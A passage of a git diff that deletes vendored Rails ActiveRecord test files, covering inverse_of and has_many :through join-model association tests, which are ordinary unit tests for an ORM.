-    f = Face.find(:first, :include => :man, :order => 'men.id', :conditions => {:description => 'trusting'})
-    m = f.man
-    assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
-    f.description = 'gormless'
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
-    m.face.description = 'pleasing'
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to parent-owned instance"
-  end
-
-  def test_child_instance_should_be_shared_with_newly_built_parent
-    f = faces(:trusting)
-    m = f.build_man(:name => 'Charles')
-    assert_not_nil m.face
-    assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
-    f.description = 'gormless'
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
-    m.face.description = 'pleasing'
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to just-built-parent-owned instance"
-  end
-
-  def test_child_instance_should_be_shared_with_newly_created_parent
-    f = faces(:trusting)
-    m = f.create_man(:name => 'Charles')
-    assert_not_nil m.face
-    assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
-    f.description = 'gormless'
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
-    m.face.description = 'pleasing'
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to newly-created-parent-owned instance"
-  end
-
-  def test_should_not_try_to_set_inverse_instances_when_the_inverse_is_a_has_many
-    i = interests(:trainspotting)
-    m = i.man
-    assert_not_nil m.interests
-    iz = m.interests.detect {|iz| iz.id == i.id}
-    assert_not_nil iz
-    assert_equal i.topic, iz.topic, "Interest topics should be the same before changes to child"
-    i.topic = 'Eating cheese with a spoon'
-    assert_not_equal i.topic, iz.topic, "Interest topics should not be the same after changes to child"
-    iz.topic = 'Cow tipping'
-    assert_not_equal i.topic, iz.topic, "Interest topics should not be the same after changes to parent-owned instance"
-  end
-
-  def test_child_instance_should_be_shared_with_replaced_via_accessor_parent
-    f = Face.find(:first)
-    m = Man.new(:name => 'Charles')
-    f.man = m
-    assert_not_nil m.face
-    assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
-    f.description = 'gormless'
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
-    m.face.description = 'pleasing'
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to replaced-parent-owned instance"
-  end
-
-  def test_child_instance_should_be_shared_with_replaced_via_method_parent
-    f = faces(:trusting)
-    assert_not_nil f.man
-    m = Man.new(:name => 'Charles')
-    f.man.replace(m)
-    assert_not_nil m.face
-    assert_equal f.description, m.face.description, "Description of face should be the same before changes to child instance"
-    f.description = 'gormless'
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to child instance"
-    m.face.description = 'pleasing'
-    assert_equal f.description, m.face.description, "Description of face should be the same after changes to replaced-parent-owned instance"
-  end
-
-  def test_trying_to_use_inverses_that_dont_exist_should_raise_an_error
-    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.find(:first).horrible_man }
-  end
-end
-
-class InversePolymorphicBelongsToTests < ActiveRecord::TestCase
-  fixtures :men, :faces, :interests
-
-  def test_child_instance_should_be_shared_with_parent_on_find
-    f = Face.find(:first, :conditions => {:description => 'confused'})
-    m = f.polymorphic_man
-    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same before changes to child instance"
-    f.description = 'gormless'
-    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to child instance"
-    m.polymorphic_face.description = 'pleasing'
-    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to parent-owned instance"
-  end
-
-  def test_eager_loaded_child_instance_should_be_shared_with_parent_on_find
-    f = Face.find(:first, :conditions => {:description => 'confused'}, :include => :man)
-    m = f.polymorphic_man
-    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same before changes to child instance"
-    f.description = 'gormless'
-    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to child instance"
-    m.polymorphic_face.description = 'pleasing'
-    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to parent-owned instance"
-
-    f = Face.find(:first, :conditions => {:description => 'confused'}, :include => :man, :order => 'men.id')
-    m = f.polymorphic_man
-    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same before changes to child instance"
-    f.description = 'gormless'
-    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to child instance"
-    m.polymorphic_face.description = 'pleasing'
-    assert_equal f.description, m.polymorphic_face.description, "Description of face should be the same after changes to parent-owned instance"
-  end
-
-  def test_child_instance_should_be_shared_with_replaced_via_accessor_parent
-    face = faces(:confused)
-    old_man = face.polymorphic_man
-    new_man = Man.new
-
-    assert_not_nil face.polymorphic_man
-    face.polymorphic_man = new_man
-
-    assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same before changes to parent instance"
-    face.description = 'Bongo'
-    assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same after changes to parent instance"
-    new_man.polymorphic_face.description = 'Mungo'
-    assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same after changes to replaced-parent-owned instance"
-  end
-
-  def test_child_instance_should_be_shared_with_replaced_via_method_parent
-    face = faces(:confused)
-    old_man = face.polymorphic_man
-    new_man = Man.new
-
-    assert_not_nil face.polymorphic_man
-    face.polymorphic_man.replace(new_man)
-
-    assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same before changes to parent instance"
-    face.description = 'Bongo'
-    assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same after changes to parent instance"
-    new_man.polymorphic_face.description = 'Mungo'
-    assert_equal face.description, new_man.polymorphic_face.description, "Description of face should be the same after changes to replaced-parent-owned instance"
-  end
-
-  def test_should_not_try_to_set_inverse_instances_when_the_inverse_is_a_has_many
-    i = interests(:llama_wrangling)
-    m = i.polymorphic_man
-    assert_not_nil m.polymorphic_interests
-    iz = m.polymorphic_interests.detect {|iz| iz.id == i.id}
-    assert_not_nil iz
-    assert_equal i.topic, iz.topic, "Interest topics should be the same before changes to child"
-    i.topic = 'Eating cheese with a spoon'
-    assert_not_equal i.topic, iz.topic, "Interest topics should not be the same after changes to child"
-    iz.topic = 'Cow tipping'
-    assert_not_equal i.topic, iz.topic, "Interest topics should not be the same after changes to parent-owned instance"
-  end
-
-  def test_trying_to_access_inverses_that_dont_exist_shouldnt_raise_an_error
-    # Ideally this would, if only for symmetry's sake with other association types
-    assert_nothing_raised(ActiveRecord::InverseOfAssociationNotFoundError) { Face.find(:first).horrible_polymorphic_man }
-  end
-
-  def test_trying_to_set_polymorphic_inverses_that_dont_exist_at_all_should_raise_an_error
-    # fails because no class has the correct inverse_of for horrible_polymorphic_man
-    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.find(:first).horrible_polymorphic_man = Man.first }
-  end
-
-  def test_trying_to_set_polymorphic_inverses_that_dont_exist_on_the_instance_being_set_should_raise_an_error
-    # passes because Man does have the correct inverse_of
-    assert_nothing_raised(ActiveRecord::InverseOfAssociationNotFoundError) { Face.find(:first).polymorphic_man = Man.first }
-    # fails because Interest does have the correct inverse_of
-    assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.find(:first).polymorphic_man = Interest.first }
-  end
-end
-
-# NOTE - these tests might not be meaningful, ripped as they were from the parental_control plugin
-# which would guess the inverse rather than look for an explicit configuration option.
-class InverseMultipleHasManyInversesForSameModel < ActiveRecord::TestCase
-  fixtures :men, :interests, :zines
-
-  def test_that_we_can_load_associations_that_have_the_same_reciprocal_name_from_different_models
-    assert_nothing_raised(ActiveRecord::AssociationTypeMismatch) do
-      i = Interest.find(:first)
-      z = i.zine
-      m = i.man
-    end
-  end
-
-  def test_that_we_can_create_associations_that_have_the_same_reciprocal_name_from_different_models
-    assert_nothing_raised(ActiveRecord::AssociationTypeMismatch) do
-      i = Interest.find(:first)
-      i.build_zine(:title => 'Get Some in Winter! 2008')
-      i.build_man(:name => 'Gordon')
-      i.save!
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/associations/join_model_test.rb b/vendor/rails/activerecord/test/cases/associations/join_model_test.rb
deleted file mode 100644
index 21412d1e..00000000
--- a/vendor/rails/activerecord/test/cases/associations/join_model_test.rb
+++ /dev/null
@@ -1,712 +0,0 @@
-require "cases/helper"
-require 'models/tag'
-require 'models/tagging'
-require 'models/post'
-require 'models/item'
-require 'models/comment'
-require 'models/author'
-require 'models/category'
-require 'models/categorization'
-require 'models/vertex'
-require 'models/edge'
-require 'models/book'
-require 'models/citation'
-
-class AssociationsJoinModelTest < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-  fixtures :posts, :authors, :categories, :categorizations, :comments, :tags, :taggings, :author_favorites, :vertices, :items, :books
-
-  def test_has_many
-    assert authors(:david).categories.include?(categories(:general))
-  end
-
-  def test_has_many_inherited
-    assert authors(:mary).categories.include?(categories(:sti_test))
-  end
-
-  def test_inherited_has_many
-    assert categories(:sti_test).authors.include?(authors(:mary))
-  end
-
-  def test_has_many_uniq_through_join_model
-    assert_equal 2, authors(:mary).categorized_posts.size
-    assert_equal 1, authors(:mary).unique_categorized_posts.size
-  end
-
-  def test_has_many_uniq_through_count
-    author = authors(:mary)
-    assert !authors(:mary).unique_categorized_posts.loaded?
-    assert_queries(1) { assert_equal 1, author.unique_categorized_posts.count }
-    assert_queries(1) { assert_equal 1, author.unique_categorized_posts.count(:title) }
-    assert_queries(1) { assert_equal 0, author.unique_categorized_posts.count(:title, :conditions => "title is NULL") }
-    assert !authors(:mary).unique_categorized_posts.loaded?
-  end
-  
-  def test_has_many_uniq_through_find
-    assert_equal 1, authors(:mary).unique_categorized_posts.find(:all).size
-  end
-  
-  def test_has_many_uniq_through_dynamic_find
-    assert_equal 1, authors(:mary).unique_categorized_posts.find_all_by_title("So I was thinking").size
-  end
-
-  def test_polymorphic_has_many
-    assert posts(:welcome).taggings.include?(taggings(:welcome_general))
-  end
-
-  def test_polymorphic_has_one
-    assert_equal taggings(:welcome_general), posts(:welcome).tagging
-  end
-
-  def test_polymorphic_belongs_to
-    assert_equal posts(:welcome), posts(:welcome).taggings.first.taggable
-  end
-
-  def test_polymorphic_has_many_going_through_join_model
-    assert_equal tags(:general), tag = posts(:welcome).tags.first
-    assert_no_queries do
-      tag.tagging
-    end
-  end
-
-  def test_count_polymorphic_has_many
-    assert_equal 1, posts(:welcome).taggings.count
-    assert_equal 1, posts(:welcome).tags.count
-  end
-
-  def test_polymorphic_has_many_going_through_join_model_with_find
-    assert_equal tags(:general), tag = posts(:welcome).tags.find(:first)
-    assert_no_queries do
-      tag.tagging
-    end
-  end
-
-  def test_polymorphic_has_many_going_through_join_model_with_include_on_source_reflection
-    assert_equal tags(:general), tag = posts(:welcome).funky_tags.first
-    assert_no_queries do
-      tag.tagging
-    end
-  end
-
-  def test_polymorphic_has_many_going_through_join_model_with_include_on_source_reflection_with_find
-    assert_equal tags(:general), tag = posts(:welcome).funky_tags.find(:first)
-    assert_no_queries do
-      tag.tagging
-    end
-  end
-
-  def test_polymorphic_has_many_going_through_join_model_with_disabled_include
-    assert_equal tags(:general), tag = posts(:welcome).tags.add_joins_and_select.first
-    assert_queries 1 do
-      tag.tagging
-    end
-  end
-
-  def test_polymorphic_has_many_going_through_join_model_with_custom_select_and_joins
-    assert_equal tags(:general), tag = posts(:welcome).tags.add_joins_and_select.first
-    tag.author_id
-  end
-
-  def test_polymorphic_has_many_going_through_join_model_with_custom_foreign_key
-    assert_equal tags(:misc), taggings(:welcome_general).super_tag
-    assert_equal tags(:misc), posts(:welcome).super_tags.first
-  end
-
-  def test_polymorphic_has_many_create_model_with_inheritance_and_custom_base_class
-    post = SubStiPost.create :title => 'SubStiPost', :body => 'SubStiPost body'
-    assert_instance_of SubStiPost, post
-
-    tagging = tags(:misc).taggings.create(:taggable => post)
-    assert_equal "SubStiPost", tagging.taggable_type
-  end
-
-  def test_polymorphic_has_many_going_through_join_model_with_inheritance
-    assert_equal tags(:general), posts(:thinking).tags.first
-  end
-
-  def test_polymorphic_has_many_going_through_join_model_with_inheritance_with_custom_class_name
-    assert_equal tags(:general), posts(:thinking).funky_tags.first
-  end
-
-  def test_polymorphic_has_many_create_model_with_inheritance
-    post = posts(:thinking)
-    assert_instance_of SpecialPost, post
-
-    tagging = tags(:misc).taggings.create(:taggable => post)
-    assert_equal "Post", tagging.taggable_type
-  end
-
-  def test_polymorphic_has_one_create_model_with_inheritance
-    tagging = tags(:misc).create_tagging(:taggable => posts(:thinking))
-    assert_equal "Post", tagging.taggable_type
-  end
-
-  def test_set_polymorphic_has_many
-    tagging = tags(:misc).taggings.create
-    posts(:thinking).taggings << tagging
-    assert_equal "Post", tagging.taggable_type
-  end
-
-  def test_set_polymorphic_has_one
-    tagging = tags(:misc).taggings.create
-    posts(:thinking).tagging = tagging
-    assert_equal "Post", tagging.taggable_type
-  end
-
-  def test_create_polymorphic_has_many_with_scope
-    old_count = posts(:welcome).taggings.count
-    tagging = posts(:welcome).taggings.create(:tag => tags(:misc))
-    assert_equal "Post", tagging.taggable_type
-    assert_equal old_count+1, posts(:welcome).taggings.count
-  end
-
-  def test_create_bang_polymorphic_with_has_many_scope
-    old_count = posts(:welcome).taggings.count
-    tagging = posts(:welcome).taggings.create!(:tag => tags(:misc))
-    assert_equal "Post", tagging.taggable_type
-    assert_equal old_count+1, posts(:welcome).taggings.count
-  end
-
-  def test_create_polymorphic_has_one_with_scope
-    old_count = Tagging.count
-    tagging = posts(:welcome).tagging.create(:tag => tags(:misc))
-    assert_equal "Post", tagging.taggable_type
-    assert_equal old_count+1, Tagging.count
-  end
-
-  def test_delete_polymorphic_has_many_with_delete_all
-    assert_equal 1, posts(:welcome).taggings.count
-    posts(:welcome).taggings.first.update_attribute :taggable_type, 'PostWithHasManyDeleteAll'
-    post = find_post_with_dependency(1, :has_many, :taggings, :delete_all)
-
-    old_count = Tagging.count
-    post.destroy
-    assert_equal old_count-1, Tagging.count
-    assert_equal 0, posts(:welcome).taggings.count
-  end
-
-  def test_delete_polymorphic_has_many_with_destroy
-    assert_equal 1, posts(:welcome).taggings.count
-    posts(:welcome).taggings.first.update_attribute :taggable_type, 'PostWithHasManyDestroy'
-    post = find_post_with_dependency(1, :has_many, :taggings, :destroy)
-
-    old_count = Tagging.count
-    post.destroy
-    assert_equal old_count-1, Tagging.count
-    assert_equal 0, posts(:welcome).taggings.count
-  end
-
-  def test_delete_polymorphic_has_many_with_nullify
-    assert_equal 1, posts(:welcome).taggings.count
-    posts(:welcome).taggings.first.update_attribute :taggable_type, 'PostWithHasManyNullify'
-    post = find_post_with_dependency(1, :has_many, :taggings, :nullify)
-
-    old_count = Tagging.count
-    post.destroy
-    assert_equal old_count, Tagging.count
-    assert_equal 0, posts(:welcome).taggings.count
-  end
-
-  def test_delete_polymorphic_has_one_with_destroy
-    assert posts(:welcome).tagging
-    posts(:welcome).tagging.update_attribute :taggable_type, 'PostWithHasOneDestroy'
-    post = find_post_with_dependency(1, :has_one, :tagging, :destroy)
-
-    old_count = Tagging.count
-    post.destroy
-    assert_equal old_count-1, Tagging.count
-    assert_nil posts(:welcome).tagging(true)
-  end
-
-  def test_delete_polymorphic_has_one_with_nullify
-    assert posts(:welcome).tagging
-    posts(:welcome).tagging.update_attribute :taggable_type, 'PostWithHasOneNullify'
-    post = find_post_with_dependency(1, :has_one, :tagging, :nullify)
-
-    old_count = Tagging.count
-    post.destroy
-    assert_equal old_count, Tagging.count
-    assert_nil posts(:welcome).tagging(true)
-  end
-
-  def test_has_many_with_piggyback
-    assert_equal "2", categories(:sti_test).authors.first.post_id.to_s
-  end
-
-  def test_include_has_many_through
-    posts              = Post.find(:all, :order => 'posts.id')
-    posts_with_authors = Post.find(:all, :include => :authors, :order => 'posts.id')
-    assert_equal posts.length, posts_with_authors.length
-    posts.length.times do |i|
-      assert_equal posts[i].authors.length, assert_no_queries { posts_with_authors[i].authors.length }
-    end
-  end
-
-  def test_include_polymorphic_has_one
-    post    = Post.find_by_id(posts(:welcome).id, :include => :tagging)
-    tagging = taggings(:welcome_general)
-    assert_no_queries do
-      assert_equal tagging, post.tagging
-    end
-  end
-
-  def test_include_polymorphic_has_one_defined_in_abstract_parent
-    item    = Item.find_by_id(items(:dvd).id, :include => :tagging)
-    tagging = taggings(:godfather)
-    assert_no_queries do
-      assert_equal tagging, item.tagging
-    end
-  end
-
-  def test_include_polymorphic_has_many_through
-    posts           = Post.find(:all, :order => 'posts.id')
-    posts_with_tags = Post.find(:all, :include => :tags, :order => 'posts.id')
-    assert_equal posts.length, posts_with_tags.length
-    posts.length.times do |i|
-      assert_equal posts[i].tags.length, assert_no_queries { posts_with_tags[i].tags.length }
-    end
-  end
-
-  def test_include_polymorphic_has_many
-    posts               = Post.find(:all, :order => 'posts.id')
-    posts_with_taggings = Post.find(:all, :include => :taggings, :order => 'posts.id')
-    assert_equal posts.length, posts_with_taggings.length
-    posts.length.times do |i|
-      assert_equal posts[i].taggings.length, assert_no_queries { posts_with_taggings[i].taggings.length }
-    end
-  end
-
-  def test_has_many_find_all
-    assert_equal [categories(:general)], authors(:david).categories.find(:all)
-  end
-
-  def test_has_many_find_first
-    assert_equal categories(:general), authors(:david).categories.find(:first)
-  end
-
-  def test_has_many_with_hash_conditions
-    assert_equal categories(:general), authors(:david).categories_like_general.find(:first)
-  end
-
-  def test_has_many_find_conditions
-    assert_equal categories(:general), authors(:david).categories.find(:first, :conditions => "categories.name = 'General'")
-    assert_equal nil, authors(:david).categories.find(:first, :conditions => "categories.name = 'Technology'")
-  end
-
-  def test_has_many_class_methods_called_by_method_missing
-    assert_equal categories(:general), authors(:david).categories.find_all_by_name('General').first
-    assert_equal nil, authors(:david).categories.find_by_name('Technology')
-  end
-
-  def test_has_many_array_methods_called_by_method_missing
-    assert true, authors(:david).categories.any? { |category| category.name == 'General' }
-    assert_nothing_raised { authors(:david).categories.sort }
-  end
-
-  def test_has_many_going_through_join_model_with_custom_foreign_key
-    assert_equal [], posts(:thinking).authors
-    assert_equal [authors(:mary)], posts(:authorless).authors
-  end
-  
-  def test_both_scoped_and_explicit_joins_should_be_respected
-    assert_nothing_raised do
-      Post.send(:with_scope, :find => {:joins => "left outer join comments on comments.id = posts.id"}) do
-        Post.find :all, :select => "comments.id, authors.id", :joins => "left outer join authors on authors.id = posts.author_id"
-      end
-    end
-  end
-
-  def test_belongs_to_polymorphic_with_counter_cache
-    assert_equal 1, posts(:welcome)[:taggings_count]
-    tagging = posts(:welcome).taggings.create(:tag => tags(:general))
-    assert_equal 2, posts(:welcome, :reload)[:taggings_count]
-    tagging.destroy
-    assert_equal 1, posts(:welcome, :reload)[:taggings_count]
-  end
-
-  def test_unavailable_through_reflection
-    assert_raise(ActiveRecord::HasManyThroughAssociationNotFoundError) { authors(:david).nothings }
-  end
-
-  def test_has_many_through_join_model_with_conditions
-    assert_equal [], posts(:welcome).invalid_taggings
-    assert_equal [], posts(:welcome).invalid_tags
-  end
-
-  def test_has_many_polymorphic
-    assert_raise ActiveRecord::HasManyThroughAssociationPolymorphicError do
-      assert_equal posts(:welcome, :thinking), tags(:general).taggables
-    end
-    assert_raise ActiveRecord::EagerLoadPolymorphicError do
-      assert_equal posts(:welcome, :thinking), tags(:general).taggings.find(:all, :include => :taggable, :conditions => 'bogus_table.column = 1')
-    end
-  end
-
-  def test_has_many_polymorphic_with_source_type
-    assert_equal posts(:welcome, :thinking), tags(:general).tagged_posts
-  end
-
-  def test_eager_has_many_polymorphic_with_source_type
-    tag_with_include = Tag.find(tags(:general).id, :include => :tagged_posts)
-    desired = posts(:welcome, :thinking)
-    assert_no_queries do
-      assert_equal desired, tag_with_include.tagged_posts
-    end
-    assert_equal 5, tag_with_include.taggings.length
-  end
-
-  def test_has_many_through_has_many_find_all
-    assert_equal comments(:greetings), authors(:david).comments.find(:all, :order => 'comments.id').first
-  end
-
-  def test_has_many_through_has_many_find_all_with_custom_class
-    assert_equal comments(:greetings), authors(:david).funky_comments.find(:all, :order => 'comments.id').first
-  end
-
-  def test_has_many_through_has_many_find_first
-    assert_equal comments(:greetings), authors(:david).comments.find(:first, :order => 'comments.id')
-  end
-
-  def test_has_many_through_has_many_find_conditions
-    options = { :conditions => "comments.#{QUOTED_TYPE}='SpecialComment'", :order => 'comments.id' }
-    assert_equal comments(:does_it_hurt), authors(:david).comments.find(:first, options)
-  end
-
-  def test_has_many_through_has_many_find_by_id
-    assert_equal comments(:more_greetings), authors(:david).comments.find(2)
-  end
-
-  def test_has_many_through_polymorphic_has_one
-    assert_equal Tagging.find(1,2).sort_by { |t| t.id }, authors(:david).tagging
-  end
-
-  def test_has_many_through_polymorphic_has_many
-    assert_equal taggings(:welcome_general, :thinking_general), authors(:david).taggings.uniq.sort_by { |t| t.id }
-  end
-
-  def test_include_has_many_through_polymorphic_has_many
-    author            = Author.find_by_id(authors(:david).id, :include => :taggings)
-    expected_taggings = taggings(:welcome_general, :thinking_general)
-    assert_no_queries do
-      assert_equal expected_taggings, author.taggings.uniq.sort_by { |t| t.id }
-    end
-  end
-
-  def test_has_many_through_has_many_through
-    assert_raise(ActiveRecord::HasManyThroughSourceAssociationMacroError) { authors(:david).tags }
-  end
-
-  def test_has_many_through_habtm
-    assert_raise(ActiveRecord::HasManyThroughSourceAssociationMacroError) { authors(:david).post_categories }
-  end
-
-  def test_eager_load_has_many_through_has_many
-    author = Author.find :first, :conditions => ['name = ?', 'David'], :include => :comments, :order => 'comments.id'
-    SpecialComment.new; VerySpecialComment.new
-    assert_no_queries do
-      assert_equal [1,2,3,5,6,7,8,9,10], author.comments.collect(&:id)
-    end
-  end
-
-  def test_eager_load_has_many_through_has_many_with_conditions
-    post = Post.find(:first, :include => :invalid_tags)
-    assert_no_queries do
-      post.invalid_tags
-    end
-  end
-
-  def test_eager_belongs_to_and_has_one_not_singularized
-    assert_nothing_raised do
-      Author.find(:first, :include => :author_address)
-      AuthorAddress.find(:first, :include => :author)
-    end
-  end
-
-  def test_self_referential_has_many_through
-    assert_equal [authors(:mary)], authors(:david).favorite_authors
-    assert_equal [],               authors(:mary).favorite_authors
-  end
-
-  def test_add_to_self_referential_has_many_through
-    new_author = Author.create(:name => "Bob")
-    authors(:david).author_favorites.create :favorite_author => new_author
-    assert_equal new_author, authors(:david).reload.favorite_authors.first
-  end
-
-  def test_has_many_through_uses_conditions_specified_on_the_has_many_association
-    author = Author.find(:first)
-    assert !author.comments.blank?
-    assert author.nonexistant_comments.blank?
-  end
-
-  def test_has_many_through_uses_correct_attributes
-    assert_nil posts(:thinking).tags.find_by_name("General").attributes["tag_id"]
-  end
-
-  def test_associating_unsaved_records_with_has_many_through
-    saved_post = posts(:thinking)
-    new_tag = Tag.new(:name => "new")
-
-    saved_post.tags << new_tag
-    assert !new_tag.new_record? #consistent with habtm!
-    assert !saved_post.new_record?
-    assert saved_post.tags.include?(new_tag)
-
-    assert !new_tag.new_record?
-    assert saved_post.reload.tags(true).include?(new_tag)
-
-
-    new_post = Post.new(:title => "Association replacmenet works!", :body => "You best believe it.")
-    saved_tag = tags(:general)
-
-    new_post.tags << saved_tag
-    assert new_post.new_record?
-    assert !saved_tag.new_record?
-    assert new_post.tags.include?(saved_tag)
-
-    new_post.save!
-    assert !new_post.new_record?
-    assert new_post.reload.tags(true).include?(saved_tag)
-
-    assert posts(:thinking).tags.build.new_record?
-    assert posts(:thinking).tags.new.new_record?
-  end
-
-  def test_create_associate_when_adding_to_has_many_through
-    count = posts(:thinking).tags.count
-    push = Tag.create!(:name => 'pushme')
-    post_thinking = posts(:thinking)
-    assert_nothing_raised { post_thinking.tags << push }
-    assert_nil( wrong = post_thinking.tags.detect { |t| t.class != Tag },
-                message = "Expected a Tag in tags collection, got #{wrong.class}.")
-    assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
-                message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
-    assert_equal(count + 1, post_thinking.tags.size)
-    assert_equal(count + 1, post_thinking.tags(true).size)
-
-    assert_kind_of Tag, post_thinking.tags.create!(:name => 'foo')
-    assert_nil( wrong = post_thinking.tags.detect { |t| t.class != Tag },
-                message = "Expected a Tag in tags collection, got #{wrong.class}.")
-    assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
-                message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
-    assert_equal(count + 2, post_thinking.tags.size)
-    assert_equal(count + 2, post_thinking.tags(true).size)
-
-    assert_nothing_raised { post_thinking.tags.concat(Tag.create!(:name => 'abc'), Tag.create!(:name => 'def')) }
-    assert_nil( wrong = post_thinking.tags.detect { |t| t.class != Tag },
-                message = "Expected a Tag in tags collection, got #{wrong.class}.")
-    assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
-                message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
-    assert_equal(count + 4, post_thinking.tags.size)
-    assert_equal(count + 4, post_thinking.tags(true).size)
-
-    # Raises if the wrong reflection name is used to set the Edge belongs_to
-    assert_nothing_raised { vertices(:vertex_1).sinks << vertices(:vertex_5) }
-  end
-
-  def test_has_many_through_collection_size_doesnt_load_target_if_not_loaded
-    author = authors(:david)
-    assert_equal 9, author.comments.size
-    assert !author.comments.loaded?
-  end
-
-  def test_has_many_through_collection_size_uses_counter_cache_if_it_exists
-    author = authors(:david)
-    author.stubs(:read_attribute).with('comments_count').returns(100)
-    assert_equal 100, author.comments.size
-    assert !author.comments.loaded?
-  end
-
-  def test_adding_junk_to_has_many_through_should_raise_type_mismatch
-    assert_raise(ActiveRecord::AssociationTypeMismatch) { posts(:thinking).tags << "Uhh what now?" }
-  end
-
-  def test_adding_to_has_many_through_should_return_self
-    tags = posts(:thinking).tags
-    assert_equal tags, posts(:thinking).tags.push(tags(:general))
-  end
-
-  def test_delete_associate_when_deleting_from_has_many_through_with_nonstandard_id
-    count = books(:awdr).references.count
-    references_before = books(:awdr).references
-    book = Book.create!(:name => 'Getting Real')
-    book_awdr = books(:awdr)
-    book_awdr.references << book
-    assert_equal(count + 1, book_awdr.references(true).size)
-
-    assert_nothing_raised { book_awdr.references.delete(book) }
-    assert_equal(count, book_awdr.references.size)
-    assert_equal(count, book_awdr.references(true).size)
-    assert_equal(references_before.sort, book_awdr.references.sort)
-  end
-
-  def test_delete_associate_when_deleting_from_has_many_through
-    count = posts(:thinking).tags.count
-    tags_before = posts(:thinking).tags
-    tag = Tag.create!(:name => 'doomed')
-    post_thinking = posts(:thinking)
-    post_thinking.tags << tag
-    assert_equal(count + 1, post_thinking.taggings(true).size)
-    assert_equal(count + 1, post_thinking.tags(true).size)
-
-    assert_nothing_raised { post_thinking.tags.delete(tag) }
-    assert_equal(count, post_thinking.tags.size)
-    assert_equal(count, post_thinking.tags(true).size)
-    assert_equal(count, post_thinking.taggings(true).size)
-    assert_equal(tags_before.sort, post_thinking.tags.sort)
-  end
-
-  def test_delete_associate_when_deleting_from_has_many_through_with_multiple_tags
-    count = posts(:thinking).tags.count
-    tags_before = posts(:thinking).tags
-    doomed = Tag.create!(:name => 'doomed')
-    doomed2 = Tag.create!(:name => 'doomed2')
-    quaked = Tag.create!(:name => 'quaked')
-    post_thinking = posts(:thinking)
-    post_thinking.tags << doomed << doomed2
-    assert_equal(count + 2, post_thinking.tags(true).size)
-
-    assert_nothing_raised { post_thinking.tags.delete(doomed, doomed2, quaked) }
-    assert_equal(count, post_thinking.tags.size)
-    assert_equal(count, post_thinking.tags(true).size)
-    assert_equal(tags_before.sort, post_thinking.tags.sort)
-  end
-
-  def test_deleting_junk_from_has_many_through_should_raise_type_mismatch
-    assert_raise(ActiveRecord::AssociationTypeMismatch) { posts(:thinking).tags.delete("Uhh what now?") }
-  end
-
-  def test_has_many_through_sum_uses_calculations
-    assert_nothing_raised { authors(:david).comments.sum(:post_id) }
-  end
-
-  def test_calculations_on_has_many_through_should_disambiguate_fields
-    assert_nothing_raised { authors(:david).categories.maximum(:id) }
-  end
-  
-  def test_calculations_on_has_many_through_should_not_disambiguate_fields_unless_necessary
-    assert_nothing_raised { authors(:david).categories.maximum("categories.id") }
-  end
-
-  def test_has_many_through_has_many_with_sti
-    assert_equal [comments(:does_it_hurt)], authors(:david).special_post_comments
-  end
-
-  def test_uniq_has_many_through_should_retain_order
-    comment_ids = authors(:david).comments.map(&:id)
-    assert_equal comment_ids.sort, authors(:david).ordered_uniq_comments.map(&:id)
-    assert_equal comment_ids.sort.reverse, authors(:david).ordered_uniq_comments_desc.map(&:id)
-  end
-
-  def test_polymorphic_has_many
-    expected = taggings(:welcome_general)
-    p = Post.find(posts(:welcome).id, :include => :taggings)
-    assert_no_queries {assert p.taggings.include?(expected)}
-    assert posts(:welcome).taggings.include?(taggings(:welcome_general))
-  end
-
-  def test_polymorphic_has_one
-    expected = posts(:welcome)
-
-    tagging  = Tagging.find(taggings(:welcome_general).id, :include => :taggable)
-    assert_no_queries { assert_equal expected, tagging.taggable}
-  end
-
-  def test_polymorphic_belongs_to
-    p = Post.find(posts(:welcome).id, :include => {:taggings => :taggable})
-    assert_no_queries {assert_equal posts(:welcome), p.taggings.first.taggable}
-  end
-
-  def test_preload_polymorphic_has_many_through
-    posts           = Post.find(:all, :order => 'posts.id')
-    posts_with_tags = Post.find(:all, :include => :tags, :order => 'posts.id')
-    assert_equal posts.length, posts_with_tags.length
-    posts.length.times do |i|
-      assert_equal posts[i].tags.length, assert_no_queries { posts_with_tags[i].tags.length }
-    end
-  end
-
-  def test_preload_polymorph_many_types
-    taggings = Tagging.find :all, :include => :taggable, :conditions => ['taggable_type != ?', 'FakeModel']
-    assert_no_queries do
-      taggings.first.taggable.id
-      taggings[1].taggable.id
-    end
-
-    taggables = taggings.map(&:taggable)
-    assert taggables.include?(items(:dvd))
-    assert taggables.include?(posts(:welcome))
-  end
-
